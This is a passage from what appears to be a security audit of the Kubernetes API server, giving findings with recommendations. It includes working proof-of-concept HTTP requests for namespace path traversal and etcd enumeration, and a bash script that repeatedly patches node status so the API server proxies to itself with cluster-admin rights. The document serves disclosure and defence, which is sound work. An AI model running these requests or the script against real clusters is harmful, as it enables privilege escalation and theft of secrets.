pods/mynamespace/mypod . Requesting /api/v1/namespaces/../pods/mypod  will result in a

lookup to /registry/mypod , but there is nothing at this location. If there were any API

routes which allowed more path parameters to be specified, it would likely be exploitable9.

Medium 

9. There are various API routes, such as /api/v1/namespaces/{namespace}/pods/{name}/proxy/

{path}  which allow an unlimited number of path parameters to be specified, but these do not result

in lookups to etcd.
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The situation is different with list requests, as these will recursively enumerate objects,

starting from the given path in etcd. So a request to /api/v1/namespaces/../pods  will

cause all objects under /registry  to be enumerated. However, the server will not return

objects which are not of the expected type (pods in this case). The following HTTP request

and response illustrates this:

The first object in etcd in this deployment is a CustomResourceDefinition  and this cannot

be converted to a Pod , resulting in an error message.

This can be overcome to some extent using continuation tokens (intended to support

pagination of list requests), which allow an etcd subpath to be specified. Using a

continuation token of {"v":"meta.k8s.io/v1","rv":-1,"start":"/secrets\u0000"} , we

can see that a Secret  object has been retrieved (but again cannot be converted to a Pod).

Although this does not appear to allow a request to retrieve objects disallowed through

cluster RBAC10, it can be exploited for limited information disclosure, to obtain the names

of objects in etcd. For example, if we specify a continuation path of /secrets/z , the

resultant error message is converting (v1.ServiceAccount) to (core.Pod): unknown

conversion , indicating that no secret exists where the path begins with the letter z. This

process could be iterated to fully recover the path of a secret. However, this will only work

for the final object of each type alphabetically.

The issue with converting one object type to another does not necessarily apply to CRD

(Custom Resource Definition) objects11, as these are treated as unstructured lists rather

than having a fixed schema. Therefore, it is possible for a list request against a particular

CRD type to return objects of other types, from the same namespace. This is illustrated

GET /api/v1/namespaces/../pods HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90

HTTP/1.1 500 Internal Server Error

<snip>

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"no kind 

\"CustomResourceDefinition\" is registered for version \"apiextensions.k8s.io/v1beta1\" in 

scheme \"pkg/api/legacyscheme/scheme.go:30\"","code":500}

GET /api/v1/namespaces/../pods?continue=eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6LTEsInN0YXJ0IjoiL3N

lY3JldHNcdTAwMDAifQ HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90

HTTP/1.1 500 Internal Server Error

<snip>

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"converting 

(v1.Secret) to (core.Pod): unknown conversion","code":500}

10. It would be possible to specify a continuation path of /pods  and retrieve pods successfully, but

the requesting user would already be able to access all pods, or they would not be able to make

these requests in the first place.

11. Custom Resources: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/

custom-resources
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below - Calico has been installed in the cluster. A request is made to list networksets , with

a continuation path of /crd.projectcalico.org . A total of 11 objects are returned, of

varying types. This represents an access control flaw, if we assume that the requesting

user may have permission only to list networksets . The output has been trimmed for

brevity.

GET /apis/crd.projectcalico.org/v1/namespaces/../networksets?

continue=eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6LTEsInN0YXJ0IjoiL2NyZC5wcm9qZWN0Y2FsaWNvLm9yZ1x1

MDAwMCJ9&limit=11 HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90

HTTP/1.1 200 OK

<snip>

{

"apiVersion": "crd.projectcalico.org/v1",

"items": [

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "BlockAffinity",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "ClusterInformation",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "FelixConfiguration",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMBlock",

<snip>

}

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMHandle",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMHandle",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMHandle",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMHandle",
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It is interesting to note the remainingItemCount  value of 193, which actually represents the

total number of objects in etcd, starting from the /crd.projectcalico.org  path.

Recommendation

Implement a check on namespace identifiers in Kubernetes API requests, similar to 

NamespaceKeyFunc . In particular, ..  and .  should be rejected.

Given that it is not possible to legitimately create a namespace with a name of ..  or . ,

there should be no negative impact arising from this change.

Location

kube-apiserver

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPAMHandle",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "IPPool",

<snip>

},

{

"apiVersion": "crd.projectcalico.org/v1",

"kind": "KubeControllersConfiguration",

<snip>

}

],

"kind": "NetworkSetList",

"metadata": {

"continue": 

"eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6MTEzNDk1MSwic3RhcnQiOiJjcmQucHJvamVjdGNhbGljby5vcmcv

a3ViZWNvbnRyb2xsZXJzY29uZmlndXJhdGlvbnMvZGVmYXVsdFx1MDAwMCJ9",

"remainingItemCount": 193,

"resourceVersion": "1134951"

}

}
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Redirection of API Server Traffic to Kubelet

Overall Risk Medium

Impact Medium

Exploitability Low

Finding ID NCC-E003660-JAV

Component kube-apiserver

Category Authentication

Status Reported

Impact

A user with GET permissions on the nodes/proxy  subresource and either PATCH on nodes/

status  or CREATE on nodes  can manipulate the API Server into authenticating to itself,

resulting in cluster-administrator permissions.

Description

The Kubernetes API server proxy is a feature which allows users to proxy requests through

the API server to workloads or nodes. The user’s own credentials are not proxied to the

destination, but if the API server recognizes the proxy target as a kubelet, it will

authenticate the request using its own client certificate. It is possible to abuse this

behavior to cause the API server to connect to itself using its own credentials (which

typically will have cluster administrator permissions), by temporarily modifying the cluster

state so that the API server directs proxied traffic to the wrong destination.

While this represents a potential privilege escalation to cluster administrator, the attack

does require significant existing permissions against nodes as a starting point.

A typical proxy request, targeting the kubelet service on the default port (10250) on a

worker node, resembles the following:

The code snippet below shows one of the stages in processing a request on the API server.

The id  parameter is the protocol:hostname:port  triplet highlighted above. 

GetConnectionInfo  is used to retrieve the hostname and kubelet port for the specified

node (line 247). If the requested port matches the known kubelet port (line 255) then an

HTTP client ( info.Transport ) which uses the API server’s client certificate for accessing

the kubelet will be used for sending onwards requests. Otherwise, a default HTTP client

( proxyTransport ) which has no client credentials (and does not even check TLS

certificates, as described at finding "API Server Proxy Disables TLS Certificate Validation")

will be used.

Medium 

240

241

242

243

244

245

246

247

248

249

curl -k -H "Authorization: Bearer $TOKEN" https://kubemaster01.test.lab:6443/api/v1/nodes/https

:kubeworker02:10250/proxy/runningpods/

// ResourceLocation returns a URL and transport which one can use to send traffic for the 

specified node.

func ResourceLocation(getter ResourceGetter, connection client.ConnectionInfoGetter, 

proxyTransport http.RoundTripper, ctx context.Context, id string) (*url.URL, 

http.RoundTripper, error) {

schemeReq, name, portReq, valid := utilnet.SplitSchemeNamePort(id)

if !valid {

return nil, nil, errors.NewBadRequest(fmt.Sprintf("invalid node request %q", id))

}

info, err := connection.GetConnectionInfo(ctx, types.NodeName(name))

if err != nil {

return nil, nil, err
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Figure 2: https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/registry/core/node/

strategy.go\#L240-L270

The GetConnectionInfo  method is shown below. This is based on retrieving node status

data from etcd. The Port  attribute is obtained from the node.Status.DaemonEndpoints.Kub

eletEndpoint.Port  field in the status information. The Hostname  attribute is obtained from

one of the entries under node.Status.Addresses , depending on the value of the kubelet

preferred address setting for the API server. On a default kubeadm cluster, the address

with type InternalIP  will be prioritized.
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}

// We check if we want to get a default Kubelet's transport. It happens if either:

// - no port is specified in request (Kubelet's port is default)

// - the requested port matches the kubelet port for this node

if portReq == "" || portReq == info.Port {

return &url.URL{

Scheme: info.Scheme,

Host:   net.JoinHostPort(info.Hostname, info.Port),

},

info.Transport,

nil

}

if err := proxyutil.IsProxyableHostname(ctx, &net.Resolver{}, info.Hostname); err != nil 

{

return nil, nil, errors.NewBadRequest(err.Error())

}

// Otherwise, return the requested scheme and port, and the proxy transport

return &url.URL{Scheme: schemeReq, Host: net.JoinHostPort(info.Hostname, portReq)}, 

proxyTransport, nil

}

// GetConnectionInfo retrieves connection info from the status of a Node API object.

func (k *NodeConnectionInfoGetter) GetConnectionInfo(ctx context.Context, nodeName 

types.NodeName) (*ConnectionInfo, error) {

node, err := k.nodes.Get(ctx, string(nodeName), metav1.GetOptions{})

if err != nil {

return nil, err

}

// Find a kubelet-reported address, using preferred address type

host, err := nodeutil.GetPreferredNodeAddress(node, k.preferredAddressTypes)

if err != nil {

return nil, err

}

// Use the kubelet-reported port, if present

port := int(node.Status.DaemonEndpoints.KubeletEndpoint.Port)

if port <= 0 {

port = k.defaultPort

}

return &ConnectionInfo{

Scheme:                         k.scheme,

Hostname:                       host,
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Figure 3: https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/kubelet/client/

kubelet_client.go\#L201-L227

Previous security research relating to API server proxying1213 explained how it is possible,

given the necessary permissions, to patch the status of a pod in etcd to subvert the

intended behavior of the API server. A similar activity can be performed here, assuming 

patch permissions on nodes/status  or create permissions on nodes . The Status.Addresse

s.Address  and Status.DaemonEndpoints.KubeletEndpoint.Port  fields in the node status

can be modified so that they are actually the API server’s IP address and HTTPS port

(which we assume to be 6443 in what follows).

After this is done, a proxy request to port 6443 on a worker node will actually be directed

to the the API server (on the same port), and because 6443 is now recognized as the

kubelet port (due to the modification of the node’s KubeletEndpoint.Port ), the API

server’s client certificate will be used. Therefore, the proxied requests will be sent by the

API server to itself, authenticated using a client certificate, which - on a typical cluster - is

for a user in the system:masters  group, effectively granting full control over the

Kubernetes cluster.

A proof-of-concept can be seen below.

rtt-k8s-node  is a worker node, but the proxied request for /api/v1/secrets  is sent to the

API server itself.

223

224

225

226

227

Port:                           strconv.Itoa(port),

Transport:                      k.transport,

InsecureSkipTLSVerifyTransport: k.insecureSkipTLSVerifyTransport,

}, nil

}

GET /api/v1/nodes/https:rtt-k8s-node:6443/proxy/api/v1/secrets HTTP/1.1

Host: 192.168.136.27

Authorization: Bearer 77777

HTTP/1.1 200 OK

Audit-Id: 54f3ef76-8240-4cd4-b23f-3ec26bb1e84f

Audit-Id: f3fc1c6c-ff5d-41a2-aef3-3f372820b8e1

Cache-Control: no-cache, private

Cache-Control: no-cache, private

Content-Type: application/json

Date: Wed, 08 Jun 2022 18:57:35 GMT

X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7

X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512

Content-Length: 49265

{"kind":"SecretList","apiVersion":"v1","metadata":{"resourceVersion":"1765484"},"items":

[{"metadata":{"name":"calico-apiserver-certs","namespace":"calico-apiserver","uid":"1185c573-

2b93-458f-a8f2-369a38ebebe3","resourceVersion":"212095","creationTimestamp":"2022-05-27T16:17

:23Z","ownerReferences":[{"apiVersion":"operator.tigera.io/

v1","kind":"APIServer","name":"default","uid":"86ff655a-85be-47af-b590-

cfd4063f17d2","controller":true,"blockOwnerDeletion":true}],

<snip>

12. https://kinvolk.io/blog/2019/02/abusing-kubernetes-api-server-proxying/

13. https://groups.google.com/forum/#!topic/kubernetes-dev/P0ghX_DViy8

26 / 54 – Finding Details – kube-apiserver

 

https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/kubelet/client/kubelet_client.go%5C#L201-L227
https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/kubelet/client/kubelet_client.go%5C#L201-L227


Note that the bearer token in use here is for a user assigned to the following cluster role

(and no other permissions), and yet was able to retrieve a list of secrets:

The following bash script can be used to perform the necessary patching of the node

status in etcd (this borrows heavily from the ideas in the kinvolk.io blog post referenced

above). It makes repeated PATCH requests, as the updated data will frequently be

overwritten with the correct data by other components.

apiVersion: rbac.authorization.k8s.io/v1

kind: ClusterRole

metadata:

annotations:

kubectl.kubernetes.io/last-applied-configuration: |

{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":

{"annotations":{},"name":"node-ops-role"},"rules":[{"apiGroups":[""],"resources":

["nodes/proxy"],"verbs":["get"]},{"apiGroups":[""],"resources":["nodes/

status"],"verbs":["get","patch"]}]}

creationTimestamp: "2022-06-08T00:12:05Z"

name: node-ops-role

resourceVersion: "1688636"

uid: c157771b-e125-45e0-b777-7afcb71d0cdb

rules:

- apiGroups:

- ""

resources:

- nodes/proxy

verbs:

- get

- apiGroups:

- ""

resources:

- nodes/status

verbs:

- get

- patch

#!/bin/bash

set -euo pipefail

readonly NODE=rtt-k8s-node                               # hostname of the worker node

readonly API_SERVER_PORT=6443                            # web port of API server

readonly NODE_IP=192.168.136.28                          # IP address of worker node

readonly API_SERVER_IP=192.168.136.27                    # IP address of API server

readonly BEARER_TOKEN=77777                              # bearer token to authenticate to API 

server - other authentication methods could be used

while true; do

curl -k -H "Authorization: Bearer ${BEARER_TOKEN}" -H 'Content-Type: application/json' \

"https://${API_SERVER_IP}:${API_SERVER_PORT}/api/v1/nodes/${NODE}/status" >"${NODE}-

orig.json"

cat $NODE-orig.json |

sed "s/\"Port\": 10250/\"Port\": ${API_SERVER_PORT}/g" | sed "s/\"${NODE_IP}\"/\"$

{API_SERVER_IP}\"/g"\

>"${NODE}-patched.json"
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Note that this can actually be slightly simplified by specifying the hostname of the API

server itself in the original proxy request, and it is then not necessary to patch the address

field in the node status.

Recommendation

Consider whether it is possible to implement additional defensive measures to prevent

proxied requests being sent to the API server’s web port.

Location

kube-apiserver• 

curl -k -H "Authorization: Bearer ${BEARER_TOKEN}" -H 'Content-Type:application/merge-

patch+json' \

-X PATCH -d "@${NODE}-patched.json" \

"https://${API_SERVER_IP}:${API_SERVER_PORT}/api/v1/nodes/${NODE}/status"

done
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API Server Proxy Disables TLS Certificate

Validation

Overall Risk Medium

Impact High

Exploitability Low

Finding ID NCC-E003660-MRE

Component kube-apiserver

Category Cryptography

Status Reported

Impact

An attacker suitably positioned on the network may be able to intercept TLS connections

being made to pods, services or nodes from the API server proxy.

Description

When the proxy functionality in the Kubernetes API server14 is used, the TLS certificate for

the pod, service or node being accessed will not be checked by the API server. This could

allow an attacker suitably positioned on the network to intercept the TLS connection to

read or modify the traffic. The level of risk this presents will depend on the network

architecture of a particular cluster.

Note that this discussion refers to the connection made by the API server to the pod15,

service16 or node17 which is the target of the proxy connection. The connection from the

client to the API Server is not affected by this issue.

This is shown in the code snippet below - this method creates the HTTP(S) transport which

will be used for proxying. The InsecureSkipVerify  attribute means that the TLS client will

not verify server certificates. The comment on the line above indicates that this is a known

security concern.

Figure 4: https://github.com/kubernetes/kubernetes/blob/release-1.24/cmd/kube-apiserver/app/

server.go\#L224-L234

Medium 

225

226

227

228

229

230

231

232

233

234

235

// CreateProxyTransport creates the dialer infrastructure to connect to the nodes.

func CreateProxyTransport() *http.Transport {

var proxyDialerFn utilnet.DialFunc

// Proxying to pods and services is IP-based... don't expect to be able to verify the 

hostname

proxyTLSClientConfig := &tls.Config{InsecureSkipVerify: true}

proxyTransport := utilnet.SetTransportDefaults(&http.Transport{

DialContext:     proxyDialerFn,

TLSClientConfig: proxyTLSClientConfig,

})

return proxyTransport

}

14. https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#so-many-proxies

15. Pod proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/#-

strong-proxy-operations-pod-v1-core-strong-

16. Service proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/

#-strong-proxy-operations-service-v1-core-strong-

17. Node proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/

#node-v1-core
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In fact, it can be determined that no TLS certificate validation will be performed simply by

observing that there is no means to specify a certificate authority or trust store when

setting up proxying through the API. This can be contrasted with, for example, the 

APIService  resource18, where it is possible to set insecureSkipTLSVerify  to true, or to

provide a trust store via caBundle .

Note that one exception to this behavior is when the node proxying functionality is used to

reach the kubelet service on a particular node - in this case, the API server will use its own

client certificate for authenticating to the kubelet, and will verify the kubelet service’s

certificate. Note that this gives rise to some separate security issues - see finding

"Redirection of API Server Traffic to Kubelet".

Recommendation

Consider whether it is possible to implement TLS certificate validation for pod, service and

node proxying. This would require a means of specifying the expected server certificate or

trust store.

If this is not possible, ensure that documentation for the relevant APIs makes it clear that

these connections are potentially vulnerable to man-in-the-middle attacks.

Location

Function CreateProxyTransport()  in file server.go:L224• 

18. APIService: https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/api-service-

v1/
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Authentication Source Not Shown in Audit Logs

Overall Risk Low

Impact Low

Exploitability Medium

Finding ID NCC-E003660-R44

Component kube-apiserver

Category Auditing and Logging

Status Reported

Impact

An attacker able to craft authentication values could impersonate a user or system

component to better hide malicious activities in log files.

Description

When auditing is configured on a cluster, audit logs show the username and groups of

logged requests. This does not include the authentication source used to determine the

user’s identity. An attacker able to craft their own authentication that is accepted by the

cluster would be able to impersonate a system component. This would not aid an attacker

in gaining access to a cluster, but could be useful in a post-compromise persistence

scenario.

As one example of an attack path, an attacker able to gain access to the CA used to sign

user certificates could create a user cert for a username of “system:serviceaccount:kube-

system:replication-controller” or similar. If an attacker uses this certificate, the audit logs

would show the same username as any requests made by the replication-controller service

account in normal behavior. Any anomalous behavior may not be noticed, unless a cluster

administrator is paying close attention to every request.

Recommendation

Include the authentication source in audit logging, allowing administrators to clearly

identify which authentication method was used for a given request.

Reproduction Steps

Enable auditing on a Kubernetes cluster

Create a service account with a given name in a given namespace (e.g. default/audit-

test), and make requests to the apiserver using that service account’s token

Generate a CSR for a certificate using the fields CN=system:serviceaccount:default:au

dit-test,O=system:serviceaccounts"

Submit the CSR to the Kubernetes apiserver and approve the certificate

Make requests using the certificate and the service account token to authenticate

Note that the audit entries are the same for each authenticated entity

Low 

1. 

2. 

3. 

4. 

5. 

6. 
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EmptyDir Volumes Do Not Support Mount

Options

Overall Risk Low

Impact Low

Exploitability Low

Finding ID NCC-E003660-7HM

Component kube-apiserver

Category Access Controls

Status Reported

Impact

An attacker able to execute code inside a pod with a mounted emptyDir volume would be

able to load arbitrary files, including malicious tooling, into this directory and use them to

launch further attacks.

Description

Pod volumes can use a volume of type emptyDir, providing a directory that can be shared

between all the images in a pod or provide a predictable location regardless of the

container image directory structure. These volumes are commonly used to provide a

scratch space or to share files between multiple containers in a pod.

The emptyDir volume provider does not currently support specifying mount options such

as nosuid  or noexec . As a result, it is not possible to create a writable space for use as

scratch storage which disables execution of files stored in that space. Kubernetes users

following best practices often create pods using a read-only root filesystem in an attempt

to hinder any attackers able to compromise a running container. Creating an emptyDir

volume that is writable is often used to provide a location for logs, or as temporary storage

for applications that require write access for operational purposes.

As a specific risk example, by not allowing an emptyDir volume to be created with the 

noexec  flag set, administrators are forced to accept an additional risk.

It should be noted that this issue has previously been reported to the Kubernetes project

as GitHub issue #48912.

Recommendation

Allow emptyDir volumes to be mounted with the noexec  flag.

Low 
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Loopback Token Usable Externally

Overall Risk Low

Impact High

Exploitability Undetermined

Finding ID NCC-E003660-47W

Component kube-apiserver

Category Authentication

Status Reported

Impact

If an external attacker were able to obtain the API server’s loopback token, they could use

it to obtain access with system:masters  privileges.

Description

The Kubernetes API server creates an ephemeral “loopback token” at initialization time.

This is assigned to the system:apiserver  user, and is a member of the system:masters

group. It is used by the API server to authenticate when making calls to its own services on

the loopback interface. However, there are no checks in place to ensure that requests

using this token have arrived on the loopback interface, or that they originate from

localhost. It should be noted that no method for an attacker to acquire the loopback token

in order to use it externally was identified - adding these checks is recommended only as a

useful additional layer of defense in depth.

As a proof of concept, the loopback token was obtained by instrumenting a running API

server. This was then used to authenticate a request to the API server’s external interface

(the request was to an API extension which echoes back details of the request).

Low 

GET /apis/echo-server.k8s.io/v1beta1 HTTP/1.1  

Host: 192.168.136.27:6443  

Authorization: Bearer 06eb36fb-afb5-4531-8a97-a49cbc1e4512

HTTP/1.1 200 OK  

Audit-Id: 5673dc95-5d2e-4e3d-874b-3d8405442786  

Cache-Control: no-cache, private  

Content-Length: 792  

Content-Type: application/json; charset=utf-8  

Date: Fri, 27 May 2022 16:49:01 GMT  

Etag: W/"318-tq6sx6fE0LLqOWnWQb/TvxXgmPs"  

X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7  

X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512  

X-Powered-By: Express

{

"path": "/apis/echo-server.k8s.io/v1beta1",

"headers": {

"host": "10.97.48.120:443",

"audit-id": "5673dc95-5d2e-4e3d-874b-3d8405442786",

"x-forwarded-for": "192.168.136.1",

"x-forwarded-host": "10.97.48.120:443",

"x-forwarded-proto": "https",

"x-forwarded-uri": "/apis/echo-server.k8s.io/v1beta1",

"x-remote-group": "system:masters",

"x-remote-user": "system:apiserver",

"accept-encoding": "gzip"
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Note that the loopback token is generated when the API server is initialized, and remains

valid until the service is stopped or restarted. It is not rotated as long as the API server

remains running.

Recommendation

Add checks to ensure that the loopback token is only accepted for authentication on the

API server’s loopback interface.

Location

kube-apiserver• 

},

"method": "GET",

"body": "",

"fresh": false,

"hostname": "10.97.48.120",

"ip": "192.168.136.1",

"ips": [

"192.168.136.1"

],

"protocol": "https",

"query": {},

"subdomains": [],

"xhr": false,

"os": {

"hostname": "echo-server-f4b8cdb66-79mpw"

},

"connection": {

"servername": "echo-server.kube-system.svc"

}

}
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Inaccurate X-Forwarded-Uri Header

Overall Risk Low

Impact Low

Exploitability Low

Finding ID NCC-E003660-HFV

Component kube-apiserver

Category Configuration

Status Reported

Impact

Systems which receive proxied requests from the API server could receive inaccurate

information about the original URL, and potentially make erroneous security decisions

based on this.

Description

The Kubernetes API server’s proxy functionality, implemented in the Transport.RoundTrip

method, adds an X-Forwarded-Uri  header to the proxied request to indicate the URL of

the original request that was received. The X-Forwarded-Uri  is constructed by normalizing

the incoming URL, using golang’s path.Join  method. This will perform processing on the

URL which notably includes resolution of directory traversal sequences ( ../ ) and hence

may produce output which is not an accurate representation of the incoming URL. It should

be noted that the API server does not perform any normalization of the URL before

authorizing, routing, or processing incoming requests. It is possible (although perhaps not

likely) that those systems to which requests are proxied may trust that the X-Forwarded-

Uri  header is an accurate representation of the URL that was authorized by the API server

when this may not actually be the case.

This can be seen in the HTTP request and response below. This is a request which the API

server will proxy to an API extension which echoes back details of the request.

Low 

GET /apis/echo-server.k8s.io/v1beta1/../../../c HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer 06eb36fb-afb5-4531-8a97-a49cbc1e4512

HTTP/1.1 200 OK

Audit-Id: 027845b1-c791-4bab-b97b-be8b20d45a1a

Cache-Control: no-cache, private

Content-Length: 773

Content-Type: application/json; charset=utf-8

Date: Fri, 27 May 2022 16:18:18 GMT

Etag: W/"305-R40KarPaF5jU+S/mz8ztdlh8zPk"

X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7

X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512

X-Powered-By: Express

{

"path": "/apis/echo-server.k8s.io/v1beta1/../../../c",

"headers": {

"host": "10.97.48.120:443",

"audit-id": "027845b1-c791-4bab-b97b-be8b20d45a1a",

"x-forwarded-for": "192.168.136.1",

"x-forwarded-host": "10.97.48.120:443",

"x-forwarded-proto": "https",

"x-forwarded-uri": "/c",
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The X-Forwarded-Uri  here is not an accurate or useful representation of the original URL,

given that the first three components of that URL are the most significant in terms of

authorization and routing, but have been resolved away by the directory traversal

sequences.

The code which constructs the X-Forwarded-Uri  can be seen below. The call to 

path.Join  is responsible for normalization of the URL.

Figure 5: https://github.com/kubernetes/apimachinery/blob/release-1.24/pkg/util/proxy/

transport.go\#L83-L90

Recommendation

Modify the API server’s proxy functionality so that the X-Forwarded-Uri  header is an

accurate representation of the original URL.

Location

Function RoundTrip()  in file transport.go:L84

83

84

85

86

87

88

89

90

"x-remote-group": "system:masters",

"x-remote-user": "system:apiserver",

"accept-encoding": "gzip"

},

"method": "GET",

"body": "",

"fresh": false,

"hostname": "10.97.48.120",

"ip": "192.168.136.1",

"ips": [

"192.168.136.1"

],

"protocol": "https",

"query": {},

"subdomains": [],

"xhr": false,

"os": {

"hostname": "echo-server-f4b8cdb66-79mpw"

},

"connection": {

"servername": "echo-server.kube-system.svc"

}

}

// RoundTrip implements the http.RoundTripper interface

func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {

// Add reverse proxy headers.

forwardedURI := path.Join(t.PathPrepend, req.URL.EscapedPath())

if strings.HasSuffix(req.URL.Path, "/") {

forwardedURI = forwardedURI + "/"

}

req.Header.Set("X-Forwarded-Uri", forwardedURI)
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Logging of Incorrect Bootstrap Tokens

Overall Risk Low

Impact Medium

Exploitability Low

Finding ID NCC-E003660-WVM

Component kube-apiserver

Category Auditing and Logging

Status Reported

Impact

Invalid or incorrect bootstrap tokens could be written to the Kubernetes API server logs,

where they may be accessible to attackers or malicious users.

Description

When authenticating incoming requests that use bootstrap tokens, the Kubernetes API

server may write secret token values to the log. In this case, token secrets are logged only

if authentication was unsuccessful, which is likely to mean that the secret is not valid.

However, it is possible that the secret is correct apart from a minor error (e.g. a typo) or is a

secret valid elsewhere.

The code snippets below illustrate this issue. The token is written at logging verbosity 3.

Figure 6: https://github.com/kubernetes/kubernetes/blob/v1.24.0/plugin/pkg/auth/authenticator/

token/bootstrap/bootstrap.go\#L119-L123

Figure 7: https://github.com/kubernetes/kubernetes/blob/v1.24.0/plugin/pkg/auth/authenticator/

token/bootstrap/bootstrap.go\#L56-L64

Low 

func (t *TokenAuthenticator) AuthenticateToken(ctx context.Context, token string) 

(*authenticator.Response, bool, error) {

tokenID, tokenSecret, err := bootstraptokenutil.ParseToken(token)

if err != nil {

// Token isn't of the correct form, ignore it.

return nil, false, nil

}

...

ts := bootstrapsecretutil.GetData(secret, bootstrapapi.BootstrapTokenSecretKey)

if subtle.ConstantTimeCompare([]byte(ts), []byte(tokenSecret)) != 1 {

tokenErrorf(secret, "has invalid value for key %s, expected %s.", bootstrapapi.BootstrapTok

enSecretKey, tokenSecret)

return nil, false, nil

}

// tokenErrorf prints a error message for a secret that has matched a bearer

// token but fails to meet some other criteria.

//

//    tokenErrorf(secret, "has invalid value for key %s", key)

//

func tokenErrorf(s *corev1.Secret, format string, i ...interface{}) {

format = fmt.Sprintf("Bootstrap secret %s/%s matching bearer token ", s.Namespace, s.Name) + 

format

klog.V(3).Infof(format, i...)

}
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An example logging statement is shown below:

Recommendation

Modify this logging statement so that the incorrect token secret value is not included in the

output.

Location

File bootstrap.go• 

I0531 22:46:06.596497       1 bootstrap.go:63] Bootstrap secret kube-system/bootstrap-token-

wgojx7 matching bearer token has invalid value for key token-secret, expected 

bl19c5m5pdbjwxow.
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Incorrect Handling of Proxy Authentication

Headers

Overall Risk Low

Impact Medium

Exploitability Low

Finding ID NCC-E003660-YVU

Component kube-apiserver

Category Authentication

Status Reported

Impact

If custom values have been set for the authentication proxy header names, an attacker can

assert arbitrary group memberships to extension API servers, leading to privilege

escalation opportunities.

Description

The proxy authentication scheme19 supported by the Kubernetes API server adds custom

HTTP headers to proxied requests to specify username, groups and extra values. These

header names default to X-Remote-User , X-Remote-Group  and X-Remote-Extra-xxxx , but

can be changed using command line arguments20. The implementation of proxy

authentication used by the aggregation layer strips these headers out of incoming requests

(to avoid the obvious header spoofing attack), but this code does not take account of the

fact that the header names are configurable - instead, it assumes the default values. This

means that if the header names have been changed, it will be possible for an attacker to

add these headers to a request sent to the Kubernetes API server, and when it is proxied

onwards (e.g. to an extension API server) they will not be stripped. The extension API

server (assuming that it has been configured with the same header names, as would be

expected) would then make security decisions based on these spoofed values: if following

the guidance in the Kubernetes documentation21, it would include the spoofed information

in the SubjectAccessReview  sent back to the main API server.

It may be the case that a spoofed username header would not be recognized by the

destination server, as it is intended that only one of these headers should be present, and

the legitimate header added by the aggregation layer may take precedence. However, by

design there can be multiple remote group headers so spoofed values would be accepted

(and this provides an obvious route for privilege escalation, by adding a group membership

like system:masters ).

Note that a prerequisite for this attack is to have permission to call the relevant paths on

the extension API server - this will be verified by the main API server before the request is

proxied onwards. The privilege escalation opportunity arises from spoofing the group

memberships which are presented to the extension API server.

Low 

19. Authenticating Proxy: https://kubernetes.io/docs/reference/access-authn-authz/authentication/

#authenticating-proxy

20. kube-apiserver: https://kubernetes.io/docs/reference/command-line-tools-reference/kube-

apiserver/

21. Configure the Aggregation Layer: https://kubernetes.io/docs/tasks/extend-kubernetes/configure-

aggregation-layer/#extension-apiserver-authorizes-the-request
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The relevant code can be seen below. Fixed values are used for the header names, without

considering that these are configurable.

Figure 8: https://github.com/kubernetes/kubernetes/blob/v1.24.0/staging/src/k8s.io/client-go/

transport/round_trippers.go#L123-L142

The HTTP request and response below illustrate this issue. An extension API server has

been set up, which simply echoes back details of the incoming request from the main API

server.

The main API server has been configured with the following flags, which provide additional

header names:

--requestheader-extra-headers-prefix=X-Extra-Remote

--requestheader-group-headers=X-Group-Remote

--requestheader-username-headers=X-User-Remote

The request uses a static bearer token, which maps to a user with only read permissions

( read-only-user ). However, a spoofed header using the configured name for the group

header ( X-Group-Remote ) has been added to the request, and is passed successfully

through the proxy. Attempting to spoof a header with the default name ( X-Remote-Group )

is not successful.
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// SetAuthProxyHeaders stomps the auth proxy header fields.  It mutates its argument.

func SetAuthProxyHeaders(req *http.Request, username string, groups []string, extra 

map[string][]string) {

req.Header.Del("X-Remote-User")

req.Header.Del("X-Remote-Group")

for key := range req.Header {

if strings.HasPrefix(strings.ToLower(key), strings.ToLower("X-Remote-Extra-")) {

req.Header.Del(key)

}

}

